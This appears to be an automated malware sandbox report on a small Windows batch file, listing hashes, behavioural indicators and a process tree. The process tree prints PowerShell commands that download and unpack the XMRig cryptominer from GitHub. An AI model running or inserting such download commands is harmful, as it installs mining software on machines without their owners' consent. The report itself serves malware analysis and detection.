04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
22/12/2023, 05:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (14).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1104	powershell.exe
4	1104	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1104	powershell.exe
2988	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1104	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2516 wrote to memory of 1104	2516	cmd.exe	21
PID 2516 wrote to memory of 1104	2516	cmd.exe	21
PID 2516 wrote to memory of 1104	2516	cmd.exe	21
PID 2516 wrote to memory of 2988	2516	cmd.exe	30
PID 2516 wrote to memory of 2988	2516	cmd.exe	30
PID 2516 wrote to memory of 2988	2516	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (14).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2988

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\GH05BC2JDN2GNI8C0S4X.temp

Filesize
7KB

MD5
e6e0d3ff6ebcf229d87bbde967e4286f

SHA1
7d6799a7f323435f695d96b07f6237d11fbd1e7d

SHA256
8ff497b2158fa38b71698988a214c20d8fe4352e95a7ee528ed0fe106eda08cd

SHA512
8f6d0a981863855df10effbabcc22df36346df936bf9a6c6e949ec5234d4b926f3b411d4066293e98440723e99c8dd65f88776df99b1c6b4f952af0fa61fbb4f

Download Submit
memory/1104-9-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/1104-8-0x000007FEF5D10000-0x000007FEF66AD000-memory.dmp

Filesize
9.6MB

Download
memory/1104-7-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/1104-5-0x00000000026F0000-0x00000000026F8000-memory.dmp

Filesize
32KB

Download
memory/1104-4-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1104-10-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/1104-11-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/1104-12-0x0000000002500000-0x0000000002580000-memory.dmp

Filesize
512KB

Download
memory/1104-6-0x000007FEF5D10000-0x000007FEF66AD000-memory.dmp

Filesize
9.6MB

Download
memory/1104-13-0x000007FEF5D10000-0x000007FEF66AD000-memory.dmp

Filesize
9.6MB

Download
memory/2988-21-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2988-22-0x0000000000540000-0x0000000000548000-memory.dmp

Filesize
32KB

Download
memory/2988-23-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-25-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2988-24-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2988-26-0x00000000029E0000-0x0000000002A60000-memory.dmp

Filesize
512KB

Download
memory/2988-20-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp

Filesize
9.6MB

Download
memory/2988-19-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2988-27-0x000007FEF5370000-0x000007FEF5D0D000-memory.dmp

Filesize
9.6MB

Download